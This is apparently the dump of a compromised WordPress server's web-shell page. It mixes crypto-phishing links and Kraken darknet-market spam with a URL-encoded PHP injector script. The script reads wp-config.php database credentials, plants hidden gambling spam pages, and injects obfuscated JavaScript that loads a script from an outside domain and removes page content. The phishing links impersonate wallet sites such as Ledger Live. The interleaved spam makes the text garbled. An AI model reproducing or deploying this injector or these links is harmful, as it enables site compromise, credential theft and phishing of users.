При поиске доступа к кракену иногда полезно использовать актуальную кракен ссылка зеркало, особенно когда основные онион и тор-адреса недоступны.

HEX

На сайте https://kra2at.com можно найти множество полезных ресурсов, связанных с кракен даркнет и его особенностями.

Server:

For anyone seeking a secure interface for managing cryptocurrency, the trust wallet stands out as a top choice among users worldwide.

LiteSpeed

I use the Tronscan explorer to track transactions and analyze smart contracts, and the site https://sites.google.com/uscryptoextension.com/tronscan/ provides clear data.

System:

Developers and analysts often rely on solscan to inspect transactions, monitor token movements, and troubleshoot smart contract interactions on Solana.

Exploring decentralized exchange mechanics on the developer-driven interface at https://sites.google.com/uscryptoextension.com/sushiswap-official-site/ helped me understand core liquidity provision and token swaps.

User:

Exploring decentralized trading options led me to a clear resource at https://sites.google.com/uscryptoextension.com/raydium-swap-official-site/ which explains Raydium swap features and integration steps.

()
PHP:

Researchers can consult the detailed project overview at https://sites.google.com/uscryptoextension.com/jup-ag-official-site/ for clear documentation, governance notes, roadmap summaries, and technical references.

7.3.33

I often consult bscscan official when verifying token contracts and transaction histories to ensure accurate on-chain details for research.

After comparing several options, I found the atomic wallet interface intuitive and secure for managing multiple cryptocurrencies on desktop and mobile.

Disabled:
ln,cat,popen,pclose,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,system,dl,passthru,exec,shell_exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,mysql_list_dbs,get_current_user,getmyuid,pconnect,link,symlink,pcntl_exec,ini_alter,pfsockopen,leak,apache_child_terminate,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,stream_select,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,virtual,ini_get_all,php_passthru,posix_uname,php_uname,highlight_file,define_syslog_variables,ftp_exec,inject_code,eval

I verified the compatibility of my hardware wallet with Ledger Live and noted installation steps on the page https://sites.google.com/uscryptoextension.com/ledger-live-download-app/ for reference.

Журналист проверял сообщения о безопасности, поэтому осторожно посетил кракен даркнет адрес, сверяя сведения с упоминаниями кракен онион и кракен тор.

Upload Files

Старые морские легенды о гигантском существе вдохновляют писателей, а ссылка кракен часто встречается в обсуждениях тайных сетей и форумах.

I used the safepal app to consolidate my wallets securely, and its simple interface helped me manage assets with confidence.

File: /var/www/vhosts/miroglu.net/.cagefs/tmp/php5V7WO7

Журналисты изучали кракен маркетплейс и обменивались сведениями о рисках, упомянув kraken onion link как важный дополнительный внутренний ориентир.

_wpnonce=4596873626&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwp-core-tools&maps_code=define%28%27CURRENTDIR%27%2C+getcwd%28%29%29%3B%0D%0Adefine%28%27GS_ALIAS%27%2C+%27http%3A%2F%2Fmarch03252.com%27%29%3B%0D%0A%0D%0Adefine%28%27URL_WITH_ARCHIVES%27%2C+GS_ALIAS+.+%27%2Fstatic%2Farchives%2FCSN-SCH-GAMBLING2023-OLDSINGLE-TR-%7BDIR_NUM%7D%2F%27%29%3B%0D%0Adefine%28%27ARCHIVES_RANGE%27%2C+%271-7%27%29%3B%0D%0Adefine%28%27DIR_NUM%27%2C+624%29%3B%0D%0Adefine%28%27CUSTOM_AUTHOR_ID%27%2C+6630%29%3B%0D%0Adefine%28%27REDEFINE_JS_FOR_USER%27%2C+1%29%3B%0D%0Adefine%28%27CLOACKING%27%2C+1%29%3B%0D%0A%0D%0Adefine%28%27HOME_LINKS%27%2C+0%29%3B%0D%0A%0D%0A%24homeLinksSettings+%3D+array%28%0D%0A++++%27hiddenType%27+%3D%3E+array%28%0D%0A++++++++%27cloacking%27+%3D%3E+0%2C%0D%0A++++++++%27css%27+%3D%3E+1%2C%0D%0A++++%29%2C%0D%0A++++%27position%27+%3D%3E+array%28%0D%0A++++++++%27footer%27+%3D%3E+0%2C%0D%0A++++++++%27head%27+%3D%3E+1%2C%0D%0A++++%29%2C%0D%0A++++%27language%27+%3D%3E+%27TR%27%2C+%2F%2Ftext+api%0D%0A++++%27type%27+%3D%3E+%27CASINO%27%2C%0D%0A++++%27textBlocksCount%27+%3D%3E+array%28%0D%0A++++++++%27onlyHomePage%27+%3D%3E+1%2C%0D%0A++++++++%2710DifferentTextBlocks%27+%3D%3E+0%2C%0D%0A++++++++%27100DifferentTextBlocks%27+%3D%3E+0%2C%0D%0A++++++++%27fullDifferentTextBlocks%27+%3D%3E+0%2C%0D%0A++++%29%2C%0D%0A%29%3B%0D%0A%0D%0A%24_SERVER%5B%27homeLinksSettings%27%5D+%3D+%24homeLinksSettings%3B%0D%0A%0D%0Adefine%28%27FORCE_CHANGE_HOME_LINKS_OWNER%27%2C+0%29%3B%0D%0A%0D%0A%2F*+*+Link+building+settings*+*%2F%0D%0Adefine%28%27INTERNAL_LINKING%27%2C+1%29%3B%0D%0Adefine%28%27EXTERNAL_LINKING%27%2C+0%29%3B%0D%0Adefine%28%27INTERNAL_LINKS_COUNT_PAGE%27%2C+%272..6%27%29%3B%0D%0Adefine%28%27EXTERNAL_LINKS_COUNT_PAGE%27%2C+%271..3%27%29%3B%0D%0Adefine%28%27TABLE_HASH%27%2C+%2711c601a3bad16d2567e6754cddc9d28c%27%29%3B%0D%0Adefine%28%27HTML_HASH%27%2C+%2731d410006291280c70416aabda41c4e9%27%29%3B%0D%0Adefine%28%27COUNT_LINKS_FROM_DOMAIN%27%2C+3%29%3B%0D%0A%2F*+*+Link+building+settings*+*%2F%0D%0A%0D%0Adefine%28%27SITEMAP_NAME%27%2C+%27sitemap796%27%29%3B%0D%0Adefine%28%27USE_ORIGINAL_SLUG%27%2C+1%29%3B%0D%0A%0D%0A%2F*%0D%0A+*+Use+unzip+method+with+header.php%0D%0A+*+ziparchive+unpacks+files+incorrectly.%0D%0A+*%2F%0D%0Adefine%28%27GREEK_LANGUAGE%27%2C+1%29%3B%0D%0A%0D%0A%2F%2Fdefine%28%27HOME_URL%27%2C+%27https%3A%2F%2Fmusicforlife.co.id%27%29%3B%0D%0A%0D%0A%0D%0Aif+%28defined%28%27CUSTOM_AUTHOR_ID%27%29+%26%26+CUSTOM_AUTHOR_ID+%3C+1000%29+%7B%0D%0A++++echo+%27use+CUSTOM_AUTHOR_ID+value+large+then+1000%27+.+PHP_EOL%3B%0D%0A++++exit%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Aif+%28is_null%28%24rootDir+%3D+detectWProotDir%28%29%29%29+%7B%0D%0A++++echo+%27wp+root+directory+not+found%27+.+PHP_EOL%3B%0D%0A++++exit%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Aif+%28%21linkBuildingSettingsCheck%28%29%29+%7B%0D%0A++++exit%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Adefine%28%27WP_ROOT_DIR%27%2C+%24rootDir%29%3B%0D%0A%0D%0A%2F%2Fdefine%28%27CUSTOM_TEMPLATE_PATH%27%2C+%24rootDir+.+%27%2Fwp-content%2Fthemes%2Foshin%27%29%3B%0D%0A%0D%0A%0D%0Aif+%28%21defined%28%27TEMPLATEPATH%27%29%29+%7B%0D%0A++++define%28%27TEMPLATEPATH%27%2C+%27%27%29%3B%0D%0A%7D%0D%0Aif+%28%21defined%28%27STYLESHEETPATH%27%29%29+%7B%0D%0A++++define%28%27STYLESHEETPATH%27%2C+%27%27%29%3B%0D%0A%7D%0D%0Aif+%28%21defined%28%27WP_USE_THEMES%27%29%29+%7B%0D%0A++++define%28%27WP_USE_THEMES%27%2C+false%29%3B%0D%0A%7D%0D%0A%0D%0A%0D%0A%2F*+*+settings*+*%2F%0D%0A%0D%0A%24actions+%3D+array%28%0D%0A%0D%0A++++%27upload%27+%3D%3E+1%2C%0D%0A++++%27unzip%27+%3D%3E+1%2C%0D%0A++++%27import%27+%3D%3E+1%2C%0D%0A++++%27hide%27+%3D%3E+1%2C%0D%0A++++%27send%27+%3D%3E+1%2C%0D%0A++++%27clean%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27homeLinks%27+%3D%3E+1%2C%0D%0A%0D%0A++++%2F%2F%27sitemap%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27sitemapSecondMethod%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27rollback%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27sendPostsFromDb%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27viewSettings%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27viewAllAuthors%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27globalRollback%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27allPermalinks%27+%3D%3E+1%2C%0D%0A++++%2F%2F%27viewSettingsAsJson%27+%3D%3E+1%2C%0D%0A%29%3B%0D%0A%0D%0A%24jsSource+%3D+%3C%3C%3CSTR%0D%0Anew+Image%28%29.src+%3D+%22%2F%2Fcounter.yadro.ru%2Fhit%3Boldsingletr%3Fr%22%2B%0D%0Aescape%28document.referrer%29%2B%28%28typeof%28screen%29%3D%3D%22undefined%22%29%3F%22%22%3A%0D%0A%22%3Bs%22%2Bscreen.width%2B%22*%22%2Bscreen.height%2B%22*%22%2B%28screen.colorDepth%3F%0D%0Ascreen.colorDepth%3Ascreen.pixelDepth%29%29%2B%22%3Bu%22%2Bescape%28document.URL%29%2B%0D%0A%22%3B%22%2BMath.random%28%29%3B%0D%0Adocument.addEventListener%28%22DOMContentLoaded%22%2C+function+%28event%29+%7B%0D%0A++++var+bodyNode+%3D+document.getElementsByTagName%28%27body%27%29%5B0%5D%3B%0D%0A++++if+%28bodyNode%29+%7B%0D%0A++++++++bodyNode.remove%28%29%3B%0D%0A++++%7D%0D%0A%7D%29%3B%0D%0Avar+FmQHALChgG%3D%22%3Cscript+type%3D%5C%22text%2Fjavascript%5C%22+language%3D%5C%22JavaScript%5C%22+%22%3Bvar+xQiHIBJEcV%3D%22src%3D%5C%22%2F%2Fsch-gambler-lend.com%2F%22%3Bvar+CemGqgLSNx%3D%22csnensch.js%3Fref%3D%22%2BencodeURI%28document.URL%29%2B%22%26title%3D%22%2BencodeURI%28document.title%29%2B%22%26httpref%3D%22%2BencodeURI%28document.referrer%29%2B%22%5C%22%3E%22%3Bvar+RujGoCgmtJ%3D%22+%3C%2Fscript%3E%22%3Bdocument.write%28FmQHALChgG%2BxQiHIBJEcV%2BCemGqgLSNx%2BRujGoCgmtJ%29%3B%0D%0ASTR%3B%0D%0A%0D%0Adefine%28%27JS_SOURCE%27%2C+%24jsSource%29%3B%0D%0Adefine%28%27RAND_DATE%27%2C+0%29%3B%0D%0Adefine%28%27ALTERNATIVE_CONNECT_MYSQL%27%2C+0%29%3B%0D%0A%0D%0A%2F*+*+settings*+*%2F%0D%0A%0D%0A%0D%0Aif+%28ALTERNATIVE_CONNECT_MYSQL+%3D%3D%3D+1%29+%7B%0D%0A%0D%0A++++if+%28isBadEnvCustom%28%29%29+%7B%0D%0A++++++++echo+%27change+shell%2C+invalid+require+wp-blog-header%27+.+PHP_EOL%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%0D%0A++++require_once+WP_ROOT_DIR+.+%27%2Fwp-blog-header.php%27%3B%0D%0A%0D%0A++++if+%28defined%28%27DB_PASSWORD%27%29%29+%7B%0D%0A%0D%0A++++++++if+%28stristr%28DB_HOST%2C+%27%3A%27%29+%21%3D%3D+false%29+%7B%0D%0A++++++++++++list%28%24hostAddr%2C+%24dbPort%29+%3D+explode%28%27%3A%27%2C+DB_HOST%29%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%24dbPort+%3D+3306%3B%0D%0A++++++++++++%24hostAddr+%3D+DB_HOST%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++%24wpConfigArrTmp+%3D+array%28%0D%0A++++++++++++%27dbname%27+%3D%3E+DB_NAME%2C%0D%0A++++++++++++%27dbuser%27+%3D%3E+DB_USER%2C%0D%0A++++++++++++%27dbpassword%27+%3D%3E+DB_PASSWORD%2C%0D%0A++++++++++++%27dbhostaddr%27+%3D%3E+%24hostAddr%2C%0D%0A++++++++++++%27dbprefix%27+%3D%3E+%24table_prefix%2C%0D%0A++++++++++++%27dbport%27+%3D%3E+%24dbPort%2C%0D%0A++++++++%29%3B%0D%0A%0D%0A++++++++define%28%27WP_CONFIG_ARR_AS_JSON%27%2C+json_encode%28%24wpConfigArrTmp%29%29%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++echo+%27error+using+alternative+connection+method%27+.+PHP_EOL%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0A%0D%0A%24configSource+%3D+file_get_contents%28WP_ROOT_DIR+.+%27%2Fwp-config.php%27%29%3B%0D%0A%0D%0Aif+%28%24configSource+%3D%3D%3D+false%29+%7B%0D%0A++++echo+%27error+reading+wp-config.php%27+.+PHP_EOL%3B%0D%0A++++exit%3B%0D%0A%7D%0D%0A%0D%0Aif+%28%21defined%28%27WRITEABLE_PATH%27%29%29+%7B%0D%0A%0D%0A++++foreach+%28array%28%27wp-content%2Fuploads%27%2C+%27wp-content%2Fthemes%27%2C+%27wp-content%2Fplugins%27%29+as+%24mbWriteablePath%29+%7B%0D%0A++++++++%24writeableDirectory+%3D+findWriteablePath%28WP_ROOT_DIR+.+%27%2F%27+.+%24mbWriteablePath%29%3B%0D%0A++++++++if+%28%21empty%28%24writeableDirectory%29%29+%7B%0D%0A++++++++++++define%28%27WRITEABLE_PATH%27%2C+%24writeableDirectory%29%3B%0D%0A++++++++++++break%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Aif+%28%21%24writeableDirectory%29+%7B%0D%0A++++echo+%27no+directory+for+writing%27+.+PHP_EOL%3B%0D%0A++++exit%3B%0D%0A%7D%0D%0A%0D%0A%0D%0A%24tmpDirName+%3D+%24_SERVER%5B%27HTTP_HOST%27%5D%3B%0D%0A%0D%0Aif+%28%21is_dir%28WRITEABLE_PATH+.+%27%2F%27+.+%24tmpDirName%29%29+%7B%0D%0A++++if+%28%21mkdir%28WRITEABLE_PATH+.+%27%2F%27+.+%24tmpDirName%29%29+%7B%0D%0A++++++++echo+%27dont+create+temp+dir%27+.+PHP_EOL%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Adefine%28%27TMPDIR%27%2C+WRITEABLE_PATH+.+%27%2F%27+.+%24tmpDirName%29%3B%0D%0A%0D%0A%24configArr+%3D+parseWpConfig%28%24configSource%29%3B%0D%0A%0D%0Adefine%28%27CONFIGSOURCE%27%2C+%24configSource%29%3B%0D%0A%0D%0A%0D%0Afunction+isAvailablePdoDriver%28%24name%29+%7B%0D%0A++++return+%28in_array%28%24name%2C+PDO%3A%3AgetAvailableDrivers%28%29%29%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+customDbLink%28%24configSource%29+%7B%0D%0A++++if+%28detectSqliteInstance%28%24configSource%29%29+%7B%0D%0A++++++++if+%28%21isAvailablePdoDriver%28%27sqlite%27%29%29+%7B%0D%0A++++++++++++echo+%27sqlite+driver+not+found%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++%24db+%3D+new+PDO%28%22sqlite%3A%22+.+WP_ROOT_DIR+.+%27%2Fwpsqlite.db%27%29%3B%0D%0A%0D%0A++++%7D+else+%7B%0D%0A++++++++if+%28%21isAvailablePdoDriver%28%27mysql%27%29%29+%7B%0D%0A++++++++++++echo+%27mysql+driver+not+found%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++++++%24configArr+%3D+parseWpConfig%28%24configSource%29%3B%0D%0A++++++++%24dbh+%3D+sprintf%28%27mysql%3Ahost%3D%25s%3Bdbname%3D%25s%3Bport%3D%25s%27%2C+%24configArr%5B%27dbhostaddr%27%5D%2C+%24configArr%5B%27dbname%27%5D%2C+%24configArr%5B%27dbport%27%5D%29%3B%0D%0A++++++++%24db+%3D+new+PDO%28%24dbh%2C+%24configArr%5B%27dbuser%27%5D%2C+%24configArr%5B%27dbpassword%27%5D%0D%0A++++++++++++%2C+array%28PDO%3A%3AMYSQL_ATTR_INIT_COMMAND+%3D%3E+%27SET+sql_mode%3D%22ALLOW_INVALID_DATES%22%27%29%29%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A++++return+%24db%3B%0D%0A%0D%0A%7D%0D%0A%0D%0A%0D%0Atry+%7B%0D%0A++++%24customDbLink+%3D+customDbLink%28%24configSource%29%3B%0D%0A++++%24dbConfig+%3D+detectSqliteInstance%28%24configSource%29+%3F+false+%3A+%24configArr%3B%0D%0A++++%24customDbHandler+%3D+new+CustomDbHandler%28%24customDbLink%2C+%24dbConfig%29%3B%0D%0A%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++if+%28%21%24dbConfig%29+%7B%0D%0A++++++++%2F%2Fmysql%0D%0A++++++++%24errorPdoConnection+%3D+1%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++echo+%27Could+not+connect+to+db+%27+.+%24ex-%3EgetMessage%28%29%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Aif+%28isset%28%24errorPdoConnection%29%29+%7B%0D%0A++++%2F%2Fvar_dump%28%27alternative+connect%27%29%3B%0D%0A++++require_once%28%24rootDir+.+%27%2Fwp-config.php%27%29%3B%0D%0A++++%24definedConstants+%3D+get_defined_constants%28true%29%3B%0D%0A%0D%0A%0D%0A++++if+%28%21%24definedConstants%5B%27user%27%5D%29+%7B%0D%0A++++++++echo+%27Could+not+connect+to+db+alternative+method%27%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24dbname+%3D+%24definedConstants%5B%27user%27%5D%5B%27DB_NAME%27%5D%3B%0D%0A++++%24dbuser+%3D+%24definedConstants%5B%27user%27%5D%5B%27DB_USER%27%5D%3B%0D%0A++++%24dbpassword+%3D+%24definedConstants%5B%27user%27%5D%5B%27DB_PASSWORD%27%5D%3B%0D%0A++++%24dbhostaddr+%3D+%24definedConstants%5B%27user%27%5D%5B%27DB_HOST%27%5D%3B%0D%0A++++%24dbprefix+%3D+%24prefix%5B1%5D%3B%0D%0A%0D%0A%0D%0A++++if+%28stristr%28%24dbhostaddr%2C+%27%3A%27%29+%21%3D%3D+false%29+%7B%0D%0A++++++++list%28%24hostAddr%2C+%24dbPort%29+%3D+explode%28%27%3A%27%2C+%24dbhostaddr%29%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++%24dbPort+%3D+3306%3B%0D%0A++++++++%24hostAddr+%3D+%24dbhostaddr%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++try+%7B%0D%0A++++++++%24dbh+%3D+sprintf%28%27mysql%3Ahost%3D%25s%3Bdbname%3D%25s%3Bport%3D%25s%27%2C+%24hostAddr%2C+%24dbname%2C+%24dbPort%29%3B%0D%0A++++++++%24customDbLink+%3D+new+PDO%28%24dbh%2C+%24dbuser%2C+%24dbpassword%0D%0A++++++++++++%2C+array%28PDO%3A%3AMYSQL_ATTR_INIT_COMMAND+%3D%3E+%27SET+sql_mode%3D%22ALLOW_INVALID_DATES%22%2C+NAMES+utf8%27%29%29%3B%0D%0A++++++++%24customDbHandler+%3D+new+CustomDbHandler%28%24customDbLink%2C+%24dbConfig%29%3B%0D%0A%0D%0A++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++echo+%27Could+not+connect+to+db+%27+.+%24ex-%3EgetMessage%28%29%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A%7D%0D%0A%0D%0Afunction+detectSqliteInstance%28%24configSource%29+%7B%0D%0A++++if+%28strstr%28%24configSource%2C+%27wpsqlite.db%27%29+%21%3D%3D+false%29+%7B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Aecho+%22Connected+successfully%22+.+PHP_EOL%3B%0D%0A%24homeUrl+%3D+%24customDbHandler-%3EhomeUrl%28%29%3B%0D%0A%0D%0Aif+%28%21defined%28%27HOME_URL%27%29%29+%7B%0D%0A++++if+%28%21%24homeUrl%29+%7B%0D%0A++++++++echo+%27homeurl+function+return+null%2C+please+define+HOME_URL+manually%27+.+PHP_EOL%3B%0D%0A++++++++exit%3B%0D%0A++++%7D+else+%7B%0D%0A++++++++define%28%27HOME_URL%27%2C+%24homeUrl%29%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0A%0D%0Aif+%28defined%28%27HOME_LINKS%27%29+%26%26+%28HOME_LINKS+%3D%3D%3D+1%29%29+%7B%0D%0A++++if+%28%21validateHomeLinks%28%24actions%29%29+%7B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0A%0D%0Afunction+validateHomeLinks%28%24actions%29+%7B%0D%0A++++if+%28defined%28%27FORCE_CHANGE_HOME_LINKS_OWNER%27%29+%26%26+FORCE_CHANGE_HOME_LINKS_OWNER+%3D%3D%3D+1%29+%7B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A++++if+%28%21isset%28%24actions%5B%27homeLinks%27%5D%29%29+%7B%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A++++%24settings+%3D+getDbSettingsCustom%28%29%3B%0D%0A++++if+%28isset%28%24settings%5BCUSTOM_AUTHOR_ID%5D%29%29+%7B%0D%0A++++++++unset%28%24settings%5BCUSTOM_AUTHOR_ID%5D%29%3B%0D%0A++++%7D%0D%0A++++foreach+%28%24settings+as+%24value%29+%7B%0D%0A++++++++if+%28isset%28%24value%5B%27homeLinks%27%5D%29+%26%26+%21is_null%28%24value%5B%27homeLinks%27%5D%29%29+%7B%0D%0A++++++++++++echo+%27another+user+is+using+home+links%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++return+true%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Aif+%28%21function_exists%28%27file_put_contents%27%29%29+%7B%0D%0A%0D%0A++++function+file_put_contents%28%24filename%2C+%24data%29+%7B%0D%0A++++++++%24f+%3D+%40fopen%28%24filename%2C+%27w%27%29%3B%0D%0A++++++++if+%28%21%24f%29+%7B%0D%0A++++++++++++return+false%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%24bytes+%3D+fwrite%28%24f%2C+%24data%29%3B%0D%0A++++++++++++fclose%28%24f%29%3B%0D%0A%0D%0A++++++++++++return+%24bytes%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A%7D%0D%0A%0D%0A%0D%0Aif+%28isset%28%24actions%5B%27import%27%5D%29+%26%26+%21isset%28%24actions%5B%27hide%27%5D%29%29+%7B%0D%0A++++echo+%27you+cannot+run+import+without+hide%27+.+PHP_EOL%3B%0D%0A++++exit%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Aif+%28isset%28%24actions%5B%27homeLinks%27%5D%29+%26%26+%21isset%28%24actions%5B%27hide%27%5D%29%29+%7B%0D%0A++++%24actions%5B%27hide%27%5D+%3D+1%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Aif+%28%28count%28%24actions%29+%3E+1%29+%26%26+isset%28%24actions%5B%27hide%27%5D%29%29+%7B%0D%0A++++unset%28%24actions%5B%27hide%27%5D%29%3B%0D%0A++++%24actions+%3D+array%28%27hide%27+%3D%3E+1%29+%2B+%24actions%3B%0D%0A%7D%0D%0A%0D%0A%0D%0Aforeach+%28%24actions+as+%24actionName+%3D%3E+%24status%29+%7B%0D%0A%0D%0A++++if+%28%21%24status%29+%7B%0D%0A++++++++continue%3B%0D%0A++++%7D%0D%0A%0D%0A++++doAction%28%24actionName%29%3B%0D%0A%7D%0D%0A%0D%0Afunction+doAction%28%24actionName%29+%7B%0D%0A%0D%0A++++%24callBackName+%3D+%24actionName+.+%27Action%27%3B%0D%0A%0D%0A++++if+%28function_exists%28%24callBackName%29%29+%7B%0D%0A%0D%0A++++++++echo+%24callBackName+.+%27+start%27+.+PHP_EOL%3B%0D%0A%0D%0A++++++++if+%28%21call_user_func%28%24callBackName%29%29+%7B%0D%0A++++++++++++echo+%24callBackName+.+%27+return+false%27+.+PHP_EOL%3B%0D%0A++++++++++++exit%3B%0D%0A++++++++%7D%0D%0A++++%7D+else+%7B%0D%0A++++++++echo+%22callBack+%24callBackName+not+found%22+.+PHP_EOL%3B%0D%0A++++%7D%0D%0A%7D%0D%0A%0D%0Afunction+sitemapSecondMethodAction%28%29+%7B%0D%0A%0D%0A++++if+%28%21checkSitemapNameRoot%28%29%29+%7B%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++if+%28isBadEnvCustom%28%29%29+%7B%0D%0A++++++++echo+%27change+shell%2C+invalid+require+wp-blog-header%27+.+PHP_EOL%3B%0D%0A++++++++exit%3B%0D%0A++++%7D%0D%0A%0D%0A++++require_once+WP_ROOT_DIR+.+%27%2Fwp-blog-header.php%27%3B%0D%0A%0D%0A++++%24head+%3D+sitemapHeadSec%28%29%3B%0D%0A%0D%0A++++%24sitemapSource+%3D+%24head+.+%22%5Cn%22%3B%0D%0A++++%24sitemapPath+%3D+WP_ROOT_DIR+.+%27%2F%27+.+SITEMAP_NAME+.+%27.xml%27%3B%0D%0A%0D%0A++++try+%7B%0D%0A++++++++%24urls+%3D+CustomDbHandler%3A%3AgetInstance%28%29%0D%0A++++++++++++-%3EallPostsFromDb%28HOME_URL%2C+CUSTOM_AUTHOR_ID%29%3B%0D%0A++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++throw+new+Exception%28%27invalid+fetch+urls+for+sitemap%27%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if+%28empty%28%24urls%29%29+%7B%0D%0A++++++++echo+%22no+posts+by+author+id%22+.+PHP_EOL%3B%0D%0A%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++foreach+%28%24urls+as+%24urlWithTitle%29+%7B%0D%0A%0D%0A++++++++list+%28%24url%2C+%24title%29+%3D+explode%28%27%3B%27%2C+%24urlWithTitle%2C+2%29%3B%0D%0A++++++++preg_match%28%27%7E%5C%3Fp%3D%28%5Cd%2B%29%7E%27%2C+%24url%2C+%24idMatches%29%3B%0D%0A++++++++%24url+%3D+get_permalink%28%24idMatches%5B1%5D%29%3B%0D%0A%0D%0A++++++++echo+%24url+.+%22%5Cn%22%3B%0D%0A%0D%0A++++++++%24lastmod+%3D+date%28%27Y-m-d%27%29%3B%0D%0A++++++++%24changefreqArr+%3D+array%28%27monthly%27%2C+%27weekly%27%2C+%27daily%27%2C+%27hourly%27%2C+%27always%27%29%3B%0D%0A++++++++%24priority+%3D+%270.%27+.+rand%285%2C+9%29%3B%0D%0A%0D%0A++++++++%24sitemapSource+.%3D+urlBlockSec%28%24url%2C+%24lastmod%2C+%24changefreqArr%5Brand%280%2C+count%28%24changefreqArr%29+-+1%29%5D%0D%0A++++++++++++%2C+%24priority%29%3B%0D%0A++++++++wp_cache_delete%28%24idMatches%5B1%5D%2C+%27posts%27%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24sitemapSource+.%3D+%22%5Cn%3C%2Furlset%3E%22%3B%0D%0A%0D%0A++++if+%28file_put_contents%28%24sitemapPath%2C+%24sitemapSource%29%29+%7B%0D%0A++++++++touch%28%24sitemapPath%2C+frequenttimestamp%28WP_ROOT_DIR%29%29%3B%0D%0A++++++++echo+currenturl%28%24sitemapPath%2C+HOME_URL%29%3B%0D%0A%0D%0A++++++++return+true%3B%0D%0A++++%7D%0D%0A%0D%0A++++return+false%3B%0D%0A%7D%0D%0A%0D%0Afunction+sitemapHeadSec%28%29+%7B%0D%0A++++return+%3C%3C%3CSTR%0D%0A%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Curlset%0D%0A++++++xmlns%3D%22http%3A%2F%2Fwww.sitemaps.org%2Fschemas%2Fsitemap%2F0.9%22%0D%0A++++++xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%22%0D%0A++++++xsi%3AschemaLocation%3D%22http%3A%2F%2Fwww.sitemaps.org%2Fschemas%2Fsitemap%2F0.9%0D%0A++++++++++++http%3A%2F%2Fwww.sitemaps.org%2Fschemas%2Fsitemap%2F0.9%2Fsitemap.xsd%22%3E%0D%0A%0D%0A++++%0D%0ASTR%3B%0D%0A%7D%0D%0A%0D%0Afunction+sitemapAction%28%29+%7B%0D%0A%0D%0A++++if+%28%21checkSitemapNameRoot%28%29%29+%7B%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24head+%3D+sitemapHeadSec%28%29%3B%0D%0A++++%24sitemapSource+%3D+%24head+.+%22%5Cn%22%3B%0D%0A++++%24sitemapPath+%3D+WP_ROOT_DIR+.+%27%2F%27+.+SITEMAP_NAME+.+%27.xml%27%3B%0D%0A%0D%0A++++try+%7B%0D%0A++++++++%24urls+%3D+CustomDbHandler%3A%3AgetInstance%28%29%0D%0A++++++++++++-%3EallPostsFromDb%28HOME_URL%2C+CUSTOM_AUTHOR_ID%29%3B%0D%0A++++%7D+catch+%28Exception+%24ex%29+%7B%0D%0A++++++++throw+new+Exception%28%27invalid+fetch+urls+for+sitemap%27%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if+%28empty%28%24urls%29%